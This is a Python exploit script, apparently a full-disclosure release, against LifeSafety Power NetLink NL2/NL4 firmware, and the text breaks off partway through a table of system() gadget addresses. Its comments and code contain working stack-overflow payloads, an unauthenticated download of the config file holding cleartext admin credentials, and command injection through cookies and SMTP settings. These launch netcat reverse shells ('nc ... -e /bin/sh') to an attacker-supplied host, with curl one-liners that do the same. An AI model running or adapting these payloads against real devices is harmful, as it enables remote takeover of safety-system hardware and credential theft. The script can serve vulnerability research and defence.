#!/usr/bin/python2.7
#
# [Vendor]
# LifeSafety Power
# https://www.lifesafetypower.com/
#
# [Vendor Firmware]
# https://www.lifesafetypower.com/support/software-firmware-downloads
#
# [Summary]
#
# - Thirteen (13) stack overflow in several CGI binaries
# - One (1) Anonymous download of all config and username/password in clear text (PoC: display Username and Password)
# - Nine (9) Anonymous RCE (PoC: Reverse Shell)
# - One (1) authenticated RCE (PoC: Reverse Shell) [Can be combined with config/username/password download]
# - One (1) write file 'where' and 'filename' - content of file cannot be controlled (PoC: verify if remote is vulnerable)
# - Hardcoded 'csrftoken' 123qwertyuiop890 (FPO_1.cgi, FPO_2.cgi, FPV_1.cgi, FPV_2.cgi)

#
# [Details]
#

#
# Vulnerable: index.cgi
# Exploitable: Possible
#
# Suffers of stack overflow in 'submit1' login function (loginname)
#
# R10 point to 'loginname=' + 29 char
#
# curl -v http://192.168.57.20/index.cgi -d "submit1=&loginname=$(for((i=0;i<91;i++));do echo -en "A";done)$(echo -en "XXXX")"
# --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x58585858} ---

#
# Vulnerable: authorization.cgi, BTM_1.cgi, BTM_2.cgi, getxml.cgi, mainconfigure.cgi, setctl.cgi
# Exploitable: Yes (PoC below)
#
# This buffer overflow (stack based) vulnerability exist in earlier version of Firmware as well.
#
# The vulnerability exist in the function which decoding URL encoded characters, and will check thru whole input string and decode,
# usally used quite early and before any validation has been done.
# 2032 bytes input after decoding will owerwrite RET, R0 has address to decoded string, perfect for jumping to system()
#
#.text:0000C794                 MOV     R0, R6          ; dest
#.text:0000C798                 MOV     R1, SP          ; src
#.text:0000C79C                 STRB    R3, [R2,#-0x7D0]
#.text:0000C7A0                 BL      strcpy          ; <==== STACK OVERFLOW
#.text:0000C7A4                 ADD     SP, SP, #0x3D4
#.text:0000C7A8                 ADD     SP, SP, #0x400
#.text:0000C7AC                 LDMFD   SP!, {R4-R8,R10,LR}
#.text:0000C7B0                 BX      LR
#
# GET
#
# curl -H "Cookie: right=3" "http://192.168.57.20/authorization.cgi?`for((i=0;i<2028;i++));do echo -en "B";done`XXXX"
# --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x58585858} ---
#
# curl -H "Cookie: right=3" "http://192.168.57.20/BTM_1.cgi?`for((i=0;i<2028;i++));do echo -en "B";done`XXXX"
# --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x58585858} ---
#
# curl -H "Cookie: right=3" "http://192.168.57.20/BTM_2.cgi?`for((i=0;i<2028;i++));do echo -en "B";done`XXXX"
# --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x58585858} ---
#
# curl -H "Cookie: right=3" "http://192.168.57.20/getxml.cgi?`for((i=0;i<2028;i++));do echo -en "B";done`XXXX"
# --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x58585858} ---
#
# curl -H "Cookie: right=3" "http://192.168.57.20/mainconfigure.cgi?`for((i=0;i<2028;i++));do echo -en "B";done`XXXX"
# --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x58585858} ---
#
# curl -H "Cookie: right=3" "http://192.168.57.20/setctl.cgi?`for((i=0;i<2028;i++));do echo -en "B";done`XXXX"
# --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x58585858} ---
#
# POST
#
# curl "http://192.168.57.20/index.cgi" -H "Cookie: viewnavi=yes; right=1" -d "`for((i=0;i<2028;i++));do echo -en "B";done`XXXX"
# --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x58585858} ---
#

#
# Vulnerable: index.cgi, maindown.cgi, maintools.cgi, maintools.cgi, navi.cgi, authorization.cgi
# Exploitable: No
#
# This buffer overflow (stack based) vulnerability exist in earlier version of Firmware as well.
#
# 'csrftoken' tag suffers of stack overflow, that will pass on to following file fopen() function.
#	
#.text:00010BAC                 LDMIA   R3, {R0-R2}     ; "/mnt/2/tmp/"
#.text:00010BB0                 ADD     R4, SP, #0x98+dest
#.text:00010BB4                 STMIA   R4, {R0-R2}
#.text:00010BB8                 MOV     R1, R12         ; src
#.text:00010BBC                 MOV     R0, R4          ; dest
#.text:00010BC0                 BL      strcat          ; <==== STACK OVERFLOW
#.text:00010BC4                 MOV     R0, R4          ; filename
#.text:00010BC8                 LDR     R1, =aR         ; "r"
#.text:00010BCC                 BL      fopen
#
# curl -H "Cookie: right=3" "http://192.168.57.20/index.cgi?csrftoken=`for((i=0;i<501;i++));do echo -en "B";done`XXXX"
# --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x58585858} ---
#
# curl -H "Cookie: right=3" "http://192.168.57.20/maindown.cgi?csrftoken=`for((i=0;i<629;i++));do echo -en "B";done`XXXX"
# --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x58585858} ---
#
# curl -H "Cookie: right=3" "http://192.168.57.20/maintools.cgi?csrftoken=`for((i=0;i<573;i++));do echo -en "B";done`XXXX"
# --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x58585858} ---
#
# curl -H "Cookie: right=3" "http://192.168.57.20/navi.cgi?csrftoken=`for((i=0;i<429;i++));do echo -en "B";done`XXXX"
# --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=58585858} ---
#
# curl -H "Cookie: right=3" "http://192.168.57.20/authorization.cgi?csrftoken=`for((i=0;i<501;i++));do echo -en "B";done`XXXX"
# --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x58585858} ---

#
# [Verified]
# NL2/NL4 - Firmware Version: 7.15, 8.07l-45 and 8.07l-45M
#
#
# [Timeline]
# 2019.02.13: Contact established with LifeSafety Power
# 2019.02.13: LifeSafety Power responded
# 2019.03.03: LifeSafety Power presented updated Firmware
# 2019.05.15: Full Disclosure
#
#
# Have a nice day
# /bashis
#

import string
import sys
import socket
import argparse
import urllib, urllib2, httplib
import base64
import ssl
import hashlib
import re
import struct
from random import *
import random

class HTTPconnect:

	def __init__(self, host, proto, verbose, creds, Raw):
		self.host = host
		self.proto = proto
		self.verbose = verbose
		self.credentials = creds
		self.Raw = Raw
	
	def Send(self, uri, query_headers, query_data,ID,encode_query):
		self.uri = uri
		self.query_headers = query_headers
		self.query_data = query_data
		self.ID = ID
		self.encode_query = encode_query

		# Connect-timeout in seconds
		timeout = 5
		socket.setdefaulttimeout(timeout)

		url = '{}://{}{}'.format(self.proto, self.host, self.uri)

		if self.verbose:
			print "[Verbose] Sending:", url

		if self.proto == 'https':
			if hasattr(ssl, '_create_unverified_context'):
				print "[i] Creating SSL Unverified Context"
				ssl._create_default_https_context = ssl._create_unverified_context

		if self.credentials:
			Basic_Auth = self.credentials.split(':')
			if self.verbose:
				print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]
			try:
				pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
				pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
				auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
				opener = urllib2.build_opener(auth_handler)
				urllib2.install_opener(opener)
			except Exception as e:
				print "[!] Basic Auth Error:",e
				sys.exit(1)

		if self.query_data:
			#request = urllib2.Request(url, data=json.dumps(self.query_data), headers=self.query_headers)
			if self.query_data and self.encode_query:
				request = urllib2.Request(url, data=urllib.urlencode(self.query_data,doseq=True), headers=self.query_headers)
			else:
				request = urllib2.Request(url, data=self.query_data, headers=self.query_headers)

			if self.ID:
#				print self.ID
				request.add_header('Cookie', self.ID)
		else:
			request = urllib2.Request(url, None, headers=self.query_headers)
			if self.ID:
#				print self.ID
				request.add_header('Cookie', self.ID)
		response = urllib2.urlopen(request)
		if response:
			print "[<] {} OK".format(response.code)

		if self.Raw:
			return response
		else:
			html = response.read()
			return html


class LifeSafetyPower:

	def __init__(self, rhost, proto, verbose, creds, Raw):
		self.rhost = rhost
		self.proto = proto
		self.verbose = verbose
		self.credentials = creds
		self.Raw = Raw

	#
	# Access: Anonymous
	#
	def Login(self,csrftoken,response,headers,Cookie):
		self.csrftoken = csrftoken
		self.response = response
		self.headers = headers
		self.Cookie = Cookie

		URI = "/"
		self.response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,True)
		self.Cookie = self.response.info().get('Set-Cookie')
		self.response = self.response.read()
		self.response = re.split('[()<>?"\n_&;/ ]',self.response)

		for check in range(0,len(self.response)):
			if self.response[check] == 'csrftoken' and self.response[check+8] == 'value=':
				self.csrftoken = self.response[check+9]
				print "[i] csrftoken: {}".format(self.csrftoken)
				break

		#
		# lifesafetypower way to have MD5 random Login and Password
		#
		hash0 = hashlib.md5(self.credentials.split(":")[0] + ":FlexPower_System_Manager:" + self.credentials.split(":")[1]).hexdigest().lower()
		hash1 = hashlib.md5(hash0 + self.csrftoken).hexdigest().lower()

		#
		# Login
		#
		print "[>] Logging in"

		query_args = {
			"loginname":self.credentials.split(":")[0],
			"ha1":hash1,
			"password":"",
			"chkRememberPwd":"on",
			"submit1":"Login",
			"csrftoken":self.csrftoken}

		try:
			URI = '/index.cgi'
			self.response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,self.Cookie,True)
			self.Cookie = self.response.info().get('Set-Cookie')
			self.response = self.response.read()
			self.response = re.split('[()<>?"\n_&;/= ]',self.response)

			for check in range(0,len(self.response)):
				if self.response[check] == 'csrftoken':
					self.csrftoken = self.response[check+1]
					print "[i] csrftoken: {}".format(self.csrftoken)
					if not self.csrftoken:
						print "[!] Login failed (missing csrftoken)"
						sys.exit(1)
					break

		except Exception as e:
			print "[!] Login failed ({})".format(e)

		return self.Cookie, self.csrftoken

	#
	# Access: Authenticated
	#
	def Add_RCE_msmtp(self,csrftoken,response,headers,Cookie,RCE):
		self.csrftoken = csrftoken
		self.response = response
		self.headers = headers
		self.Cookie = Cookie
		self.RCE = RCE

		print "[>] Adding 'msmtp' RCE"

		#
		# RCE: Configure -> Sender SMTP Server
		#
		query_args = {
		"ss28":"rce@lifesafetypower.com",
		"ss29":self.RCE,
		"submit70":"",
		"csrftoken":self.csrftoken
		}

		try:

			URI = '/mainconfigure.cgi'
			self.response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,self.Cookie,True)
			#
			# Normally we get next valid 'csrftoken' now, but due to RCE and timeout we will never see next valid 'csrftoken'
			#
			print "[!] RCE Failed!!"

		except Exception as e:
			print "[*] RCE Successfull ({})".format(e)

		return self.Cookie, self.csrftoken

	#
	# Access: Authenticated
	#
	def Del_RCE_msmtp(self,csrftoken,response,headers,Cookie):
		self.csrftoken = csrftoken
		self.response = response
		self.headers = headers
		self.Cookie = Cookie

		print "[>] Delete 'msmtp RCE"

		query_args = {
		"ss28":"NULL",
		"ss29":"",
		"submit7":"",
		"csrftoken":self.csrftoken
		}

		try:

			URI = '/mainconfigure.cgi'
			self.response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,self.Cookie,True)
			self.response = self.response.read()
			self.response = re.split('[()<>?"\n_&;/= ]',self.response)

			for check in range(0,len(self.response)):
				if self.response[check] == 'csrftoken':
					self.csrftoken = self.response[check+1]
					print "[i] csrftoken: {}".format(self.csrftoken)
					break

			print "[*] Delete RCE Successfull"

		except Exception as e:
			print "[!] Delete RCE Failed!! ({})".format(e)

		return self.Cookie, self.csrftoken

	#
	# Access: Anonymous
	#
	# Combining two different stack overflow in two different CGI
	#
	# Abusing 'X-Sendfile: /tmp/%s' with stack overflow
	#
	# This code will try copy and download /tmp/allcfg.bin
	#
	# Actually, if the strstr() in the .cgi will find 'allcfg.bin', it will not continue - so we need to do a small trick here.
	# 1. Send '%2561llcfg.bin' that will pass over to the .cgi, the .cgi will decode to '%61llcfg.bin', and when it send back this string to Apache,
	#    Apache will decode '%61' to 'a' and we have the real name 'allcfg.bin' to be sent.
	# 2. Exacly after the string 'allcfg.bin', the .cgi will place one NULL character
	# 3. The filler needs to be '/' (can also be './'), since we cannot get out from '/tmp'
	# 4. In the end, 'mod_xsendfile.so' catch this and will happily send the 'allcfg.bin' with all config and username/password/hashes
	#
	# The 'allcfg.bin' has the password both in clear text and in MD5 hash format
	#
	def Get_allcfg(self,headers):
		self.headers = headers


		#
		# Let make sure that '/tmp/allcfg.bin' will be there by using stack overflow to jump for this code
		#
		#.text:0000BCC4                 LDR     R0, =aCpRMnt1CfgAllc ; "cp -r /mnt/1/cfg/allcfg  /tmp/allcfg.bi"...
		#.text:0000BCC8                 BL      system
		#.text:0000BCCC                 LDR     R0, =aChmod777TmpAll ; "chmod 777 /tmp/allcfg.bin"
		#.text:0000BCD0                 BL      system

		URI = '/mainconfigure.cgi?'
		URI += self.random_string(2028)
		URI += '%c4%bc%00%00'

		print "[>] Trying to copy 'allcfg.bin'"
		try:
			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,False)
			print "[!] Copy of 'allcfg.bin' failed!! ({})".format(response.code)
		except Exception as e:
			if e.code == '500':
				print "[!] Copy of 'allcfg.bin' OK!! ({})".format(e)

		print "[>] Trying to get 'allcfg.bin'"

		URI = '/authorization.cgi?csrftoken=' + "/" * 316
		URI += '%2561llcfg.bin'
#		URI += "Q" * 173
		URI += self.random_string(173)
		# 
		# We jumping to '0x000095b8', R0 will point somewhere into the '//' filler at the stack.
		#
		#.text:000095B8                 ADD     R0, SP, #0xA18+var_188
		#.text:000095BC                 ADD     R0, R0, #0xC    ; haystack
		#.text:000095C0                 LDR     R1, =aAllcfgBin ; "allcfg.bin"
		#.text:000095C4                 BL      strstr

		URI += struct.pack('<L',0x95b8)[:2]

		try:
			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,True)
		except Exception as e:
			print "[!] Get Config Failed!! ({})".format(e)
			return False

		response = response.readlines()
		for line in response:
			line = line.split(' ')[0:25]
			if line[0] == 'WS_USR':
				for check in range(0,len(line)):
					#
					# Extract login/password in clear text
					#
					if line[check] == ':' and line[check+1] == 'admin':
						Username = line[check+1]
						Password = line[check+2]
						line = re.split('[$*#!*\n:, ]',str(line))
						#
						# Extract the MD5 hash format 
						#
						for check in range(0,len(line)):
							if line[check] == 'FlexPower_System_Manager' and line[check-1] == 'admin':
								hash0_downloaded = line[check+1]

		print "[i] Remote Username: {}, Password: {}".format(Username,Password)

		#
		# First MD5 hash are made up like this, do small check to see if its matching.
		# Random hash that are used for login to the device you can find in the function 'Login' above
		#
		hash0_calculated = hashlib.md5(Username + ':FlexPower_System_Manager:' + Password).hexdigest().lower()
		if self.verbose:
			print "[Verbose] Calculated hash: {}".format(hash0_calculated)
			print "[Verbose] Downloaded hash: {}".format(hash0_downloaded)
		if hash0_calculated == hash0_downloaded:
			if self.verbose:
				print "[Verbose] hashes matching"
			credentials = Username + ':' + Password
			return credentials
		else:
			if self.verbose:
				print "[Verbose] hashes not matching"
			return False

	#
	# Access: Anonymous
	#
	# RCE since 'hash_key' are used unsanitized with system()
	# 'hash_key' has limited size, we need to place the longer RCE in another variable 'Pwn' and execute with standard shell trick
	#
	# Simple curl version:
	# curl -v 'http://192.168.57.20/index.cgi' -H 'Pwn: nc 192.168.57.1 4444 -e/bin/sh' -H 'Cookie: right=3; hash_key=$($HTTP_PWN)'
	#
	# system() R0 string will end up with 'rm -f /tmp//sess_$($HTTP_PWN)'
	#
	#.text:0000B034                 LDR     R1, =aRmFTmpSSessS ; "rm -f /tmp/%s/sess_%s"
	#.text:0000B038                 LDR     R2, =unk_29344
	#.text:0000B03C                 MOV     R3, R6
	#.text:0000B040                 MOV     R0, R5          ; s
	#.text:0000B044                 BL      sprintf
	#.text:0000B048                 MOV     R0, R5          ; command
	#.text:0000B04C                 BL      system

	def v8_hash_rce(self,headers, lhost, lport):
		self.headers = headers
		self.lhost = lhost
		self.lport = lport

		print "[>] Trying to execute 'hash_key' RCE"

		RCE = "nc LHOST LPORT -e /bin/sh"
		RCE = RCE.replace("LHOST",self.lhost).replace("LPORT",self.lport)

		headers = {
			'Pwn': RCE,
			'Cookie':'right=3; hash_key=$($HTTP_PWN)',
			'User-Agent':'Chrome/5.0'
			}

		URI = '/index.cgi'

		try:
			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,True)
			print "[*] RCE Failed!"

		except Exception as e:
			print "[*] RCE Successfull ({})".format(e)
			return True

		return


	#
	# Access: Anonymous
	#
	# Execute RCE via stack overflow
	# R12 point to 'Host:'
	#
	#.text:000097A0                 MOV     R5, R12
	#.text:000097A4                 LDMIA   R5!, {R0-R3}    ; "rm -rf /tmp/sess_"
	#.text:000097A8                 MOV     R4, SP
	#.text:000097AC                 STMIA   R4!, {R0-R3}
	#.text:000097B0                 LDRH    R5, [R5]        ; "_"
	#.text:000097B4                 MOV     R1, R7          ; src
	#.text:000097B8                 MOV     R0, SP          ; dest
	#.text:000097BC                 STRH    R5, [R4]
	#.text:000097C0                 BL      strcat
	#.text:000097C4                 MOV     R0, SP          ; command
	#.text:000097C8                 BL      system

	#
	# R0 loads with address: 0x7EFFF4A8
	#
	# Stackdump
	#7EFFF4A0  41 41 41 0A A0 97 00 00  24 28 6E 63 20 31 39 32  AAA.....$(nc 192
	#7EFFF4B0  2E 31 36 38 2E 35 37 2E  31 20 02 24 28 6E 63 20  .168.57.1 .$(nc 
	#7EFFF4C0  31 39 32 2E 31 36 38 2E  35 37 2E 31 20 34 34 34  192.168.57.1 444
	#7EFFF4D0  34 20 2D 65 20 2F 62 69  6E 2F 73 68 26 29 29 00  4 -e /bin/sh&)).
	#7EFFF4E0  98 F4 FF 7E 41 41 41 41  41 41 41 41 41 41 41 41  .....AAAAAAAAAAA

	def v715_rce(self,headers, lhost, lport):
		self.headers = headers
		self.lhost = lhost
		self.lport = lport

		print "[>] Trying to execute v7.15 RCE"

		RCE = "$(nc LHOST LPORT -e /bin/sh&))" # Correct, two '))', as the system() will try to execute '$(nc LHOST $(nc LHOST LPORT -e /bin/sh&))'
		RCE = RCE.replace("LHOST",self.lhost).replace("LPORT",self.lport)

		headers = {
			'Content-Type'	:	'application/x-www-form-urlencoded',
			'Connection':' close',
			'Host': RCE,
			'User-Agent':'Chrome/5.0'
			}

		URI = '/index.cgi'

		RCE = self.random_string(2039)
		RCE += struct.pack('<L',0x97a0)[:2]

		print Payload
		try:
			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,RCE,None,False)
#			print response.read()
#			print response.info()

		except Exception as e:
			if e.code == 500:
				Content_Length = e.info().get('Content-Length')
				if Content_Length == '166': # 233 if both 'nc' will fail
					print "[i] v7.15 RCE OK"
				else:
					print "[!] v7.15 RCE Failed!!"
			else:
				print "[!] v7.15 RCE Failed!! ({})".format(e)

		return

	#
	# Access: Anonymous
	#
	# Verify if remote target is Netlink or not
	#
	def Verify_Target(self,headers, lhost, lport):
		self.headers = headers
		self.lhost = lhost
		self.lport = lport

		print "[>] Trying to verify remote target"

		creds = 'NULL:NULL'

		try:
			URI = '/psia/'
			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,True)
			Authenticate = response.info().get('WWW-Authenticate')
			if Authenticate:
				Authenticate = Authenticate.split('"')
				for check in range(0,len(Authenticate)):
					if Authenticate[check] == 'FlexPower_System_Manager':
						Netlink = True
					else:
						print "[!] Remote seems not to be Netlink!!"
						sys.exit(1)
			else:
				print "[!] Remote seems not to be Netlink!!"
				sys.exit(1)

		except Exception as e:
			if e.code == 401:
				Server = e.info().get('Server')
				Authenticate = e.info().get('WWW-Authenticate').split('"')

				for check in range(0,len(Authenticate)):
					if Authenticate[check] == 'FlexPower_System_Manager':
						Netlink = True
			else:
				print "[!] Remote seems not to be Netlink!! ({})".format(e)
				sys.exit(1)
		if Netlink and Server:
			print "[i] Remote using Apache Web Server"
			return True # Version 8.x (Apache Web Server)
		elif Netlink and not Server:
			print "[i] Remote using Mongoose Web Server"
			return False # Version 7.x (Mongoose Web Server)
		else:
			print "[!] Remote seems not to be Netlink!! ({})".format(e)
			sys.exit(1)

	#
	# Access: Anonymous
	#
	# Check remote firmware version
	#
	def Get_Version(self,headers, lhost, lport):
		self.headers = headers
		self.lhost = lhost
		self.lport = lport

		print "[>] Trying to get remote firmware version"

		headers = {
			'Referer':' navi.cgi?csrftoken=',
			'Cookie':' right=3; hash_key=kwitfbcuvnnxdjyp; viewnavi=yes',
			'User-Agent':'Chrome/5.0'
			}

		try:
			URI = '/navi.cgi'
			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,True)
			response = re.split('[()<>?"\n_&;/= ]',response.read())
			for check in range(0,len(response)):
				if response[check] == 'Ver:':
					Version = response[check+1]
			print "[i] Remote is: Netlink NL2/NL4 Version: {}".format(Version)
	
		except Exception as e:
			print "[!] Wrong!! ({})".format(e)

		return


	#
	# Access: Anonymous
	#
	# We can control where in filesystem to write and filename, but not the content of the file.
	# Ok to check if remote target is vulnerable or not.
	#
	# The tag 'loginname' suffers from stack overflow, so we need to put a NULL character at the end to avoid random chars from stack tailing the filename
	#
	def Check_Vulnerable(self,headers, lhost, lport, server):
		self.headers = headers
		self.lhost = lhost
		self.lport = lport
		self.server = server

		print "[>] Checking if remote target is vulnerable"

		headers = {
			'User-Agent':'Chrome/5.0'
			}

		VULNERABLE_FILE = '/CHECK'

		# We need to put one NULL at end! (Don't work with more %00... :/ )
		if self.server:
			Payload = "submit1=&password=&loginname=../../../2/apache/htdocs" + VULNERABLE_FILE + '%00'
		else:
			Payload = "submit1=&password=&loginname=../../../2/web/" + VULNERABLE_FILE + '%00'
		try:
			print "[>] Trying to create our file"
			URI = '/index.cgi'
			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,Payload,None,False)
			if response.code == 200:
				print "[>] Checking if we could create remote file"
				URI = VULNERABLE_FILE
				response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,Payload,None,False)
				if response.code == 200:
					return True
		except Exception as e:
			# might give some false positive..
			if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
				print "[!] Timeout! Should not happen, assume remote is vulnerable..."
				return True
			else:
				return False
	#
	#
	# Simple function to split up a hex address (0xbaadbeef), split this up, URL 'encode' and reverese to Little Endian.
	#
	#
	def URL_Encode_LE(self, hex):
		self.hex = hex

		self.hex = self.hex[2:]
		self.hex  = self.hex .zfill(len(self.hex ) + len(self.hex ) % 2)
		self.hex  = ' '.join(self.hex [i: i+2] for i in range(0, len(self.hex ), 2))
		self.hex  = self.hex .split()

		SH0 = '%{:02x}'.format((int(self.hex [0],16)))
		SH1 = '%{:02x}'.format((int(self.hex [1],16)))
		SH2 = '%{:02x}'.format((int(self.hex [2],16)))
		SH3 = '%{:02x}'.format((int(self.hex [3],16)))

		URL_LE = ''.join('{}{}{}{}'.format(SH3,SH2,SH1,SH0))

		return URL_LE
	#
	# Small function to return N in random chars
	#
	def random_string(self,length):
		self.length = length

#		return 'A' * self.length
		return ''.join(random.choice(string.lowercase) for i in range(self.length))

	#
	# Access: Anonymous
	#
	# This buffer overflow (stack based) vulnerability exist in earlier version of Firmware as well.
	# However, PoC are made only for latest version!
	#
	# The vulnerability exist in the function which decoding URL encoded characters, and will check thru whole input string and decode,
	# usally used quite early and before any validation has been done.
	# 2032 bytes input after decoding will owerwrite RET, R0 has address to decoded string, perfect for jumping to system()
	#
	# Most binaries are vulnerable with simple GET call, but few are vulnerable with POST.
	#
	# Very simple and reliable exploitation.
	#
	# Since there is sh1tload of system() pooped around in the binaries, I thought it would be fun to include all vulnerable binaries into
	# a random selection of CGI binary and random selection of system() (You're welcome)
	#
	#
	# Simple curl examples
	#
	# GET
	# curl "http://192.168.57.20/BTM_1.cgi?$(echo -en "nc%20192.168.57.1%204444%20-e/bin/sh")%00%23`for((i=0;i<1996;i++));do echo -en "B";done`%8c%31%01%00" -H "Cookie: viewnavi=yes; right=1"
	#
	# POST
	# curl "http://192.168.57.20/index.cgi" -H "Cookie: viewnavi=yes; right=1" -d "$(echo -en "nc%20192.168.57.1%204444%20-e/bin/sh")%00`for((i=0;i<1997;i++));do echo -en "B";done`%c0%93%00%00"

	def URI_Decoder_RCE(self,headers, lhost, lport):
		self.headers = headers
		self.lhost = lhost
		self.lport = lport

		headers = {
			'User-Agent':'Chrome/5.0',
			'Cookie':'viewnavi=yes; right=1' # Needed
			}

		#
		# All vulnerable CGI binaries, and their addresses to system()
		#
		target_db = {
			#
			# GET
			#
			'BTM_1.cgi':	 [
					'0x00009424',	# system()
					'0x0000942C',	# system()
					'0x00009434',	# system()
					'0x00009460',	# system()
					'0x00009468',	# system()
					'0x00009470',	# system()
					'0x00009480',	# system()
					'0x0000948C',	# system()
					'0x00012128',	# system()
					'0x00012384',	# system()
					'0x0001292C',	# system()
					'0x00012BE4',	# system()
					'0x00012C88',	# system()
					'0x00012D14',	# system()
					'0x00012D9C',	# system()
					'0x00012E20',	# system()
					'0x00012EB8',	# system()
					'0x00012F50',	# system()
					'0x00012FE8',	# system()
					'0x0001318C',	# system()
					'0x000132A8',	# system()
					'0x000137A0'	# system()
#					'0x000115A0'	# popen()
			],
			'BTM_2.cgi':	 [
					'0x00009424',	# system()
					'0x0000942C',	# system()
					'0x00009434',	# system()
					'0x00009460',	# system()
					'0x00009468',	# system()
					'0x00009470',	# system()
					'0x00009480',	# system()
					'0x0000948C',	# system()
					'0x00012084',	# system()
					'0x000122E0',	# system()
					'0x00012888',	# system()
					'0x00012B40',	# system()
					'0x00012BE4',	# system()
					'0x00012C70',	# system()
					'0x00012CF8',	# system()
					'0x00012D7C',	# system()
					'0x00012E14',	# system()
					'0x00012EAC',	# system()
					'0x00012F44',	# system()
					'0x000130E8',	# system()
					'0x00013204',	# system()
					'0x000136FC'	# system()
#					'0x000114FC'	# popen()
			],
			'getxml.cgi':	 [
					'0x00015AE8',	# system()
					'0x00015D44',	# system()
					'0x000162EC',	# system()
					'0x000165A4',	# system()
					'0x00016648',	# system()
					'0x000166D4',	# system()
					'0x0001675C',	# system()
					'0x000167E0',	# system()
					'0x00016878',	# system()
					'0x00016910',	# system()
					'0x000169A8',	# system()
					'0x00016B4C',	# system()
					'0x00016C68',	# system()
					'0x00017160'	# system()
#					'0x00014F60'	# popen()
			],
			'authorization.cgi':	 [
					'0x0000EE04',	# system()
					'0x0000F060',	# system()
					'0x0000F608',	# system()
					'0x0000F8C0',	# system()
					'0x0000F964',	# system()
					'0x0000F9F0',	# system()
					'0x0000FA78',	# system()
					'0x0000FAFC',	# system()
					'0x0000FB94',	# system()
					'0x0000FC2C',	# system()
					'0x0000FCC4',	# system()
					'0x0000FE68',	# system()
					'0x0000FF84',	# system()
					'0x0001047C'	# system()
#					'0x0000E27C'	# popen()
			],
			'mainconfigure.cgi':	 [
					'0x0000A568',	# system()
					'0x0000A5F4',	# system()
					'0x0000A694',	# system()
					'0x0000A704',	# system()
					'0x0000A798',	# system()
					'0x0000A804',	# system()
					'0x0000A86C',	# system()
					'0x0000BCC8',	# system()
					'0x0000BCD0',	# system()
					'0x0000DD4C',	# system()
					'0x0000DD78',	# system()
					'0x0000E078',	# system()
					'0x0000E34C',	# system()
					'0x0000E568',	# system()
					'0x0000E73C',	# system()
					'0x0000E8E8',	# system()
					'0x0000EA80',	# system()
					'0x0000ED00',	# system()
					'0x0000ED70',	# system()
					'0x0000F5C4',	# system()
					'0x0000F794',	# system()
					'0x0000F978',	# system()
					'0x0000F9B8',	# system()
					'0x0001237C',	# system()
					'0x00012384',	# system()
					'0x000124DC',	# system()
					'0x0001BA70',	# system()
					'0x0001BB24',	# system()
					'0x0001C6B8',	# system()
					'0x0001C6F0',	# system()
					'0x0001C718',	# system()
					'0x0001EA44',	# system()
					'0x0001F468',	# system()
					'0x0001F470',	# system()
					'0x0001F938',	# system()
					'0x0001F944',	# system()
					'0x0001F950',	# system()
					'0x0001F95C',	# system()
					'0x0001F968',	# system()
					'0x0001F974',	# system()
					'0x0001F980',	# system()
					'0x0001F98C',	# system()
					'0x0001F998',	# system()
					'0x0001F9A4',	# system()
					'0x0001F9B0',	# system()
					'0x0001F9BC',	# system()
					'0x0001F9C8',	# system()
					'0x0001F9D4',	# system()
					'0x0001F9E0',	# system()
					'0x0001F9EC',	# system()
					'0x0001F9F8',	# system()
					'0x0001FA04',	# system()
					'0x0001FA10',	# system()
					'0x0001FA1C',	# system()
					'0x0001FA28',	# system()
					'0x0001FA34',	# system()
					'0x0001FA40',	# system()
					'0x0001FA4C',	# system()
					'0x0001FA58',	# system()
					'0x0001FA64',	# system()
					'0x0001FA70',	# system()
					'0x00025680',	# system()
					'0x000258DC',	# system()
					'0x00025E84',	# system()
					'0x0002613C',	# system()
					'0x000261E0',	# system()
					'0x0002626C',	# system()
					'0x000262F4',	# system()
					'0x00026378',	# system()
					'0x00026410',	# system()
					'0x000264A8',	# system()
					'0x00026540',	# system()
					'0x000266E4',	# system()
					'0x00026800',	# system()
					'0x00026CF8'	# system()
#					'0x0001B9CC'	# popen()
#					'0x00024AF8'	# popen()
			],
			'setctl.cgi':	 [
					'0x00009108',	# system()
					'0x00009160',	# system()
					'0x000091C8',	# system()
					'0x00009230',	# system()
					'0x0000947C'	# system()
#					'0x0000F0FC'	# popen()
			],
			#
			# POST
			#
			'index.cgi':	 [
					'0x000093C0',	# system()
					'0x00009C6C',	# system()
					'0x00009ED4',	# system()
					'0x00009EDC',	# system()
					'0x00009EE4',	# system()
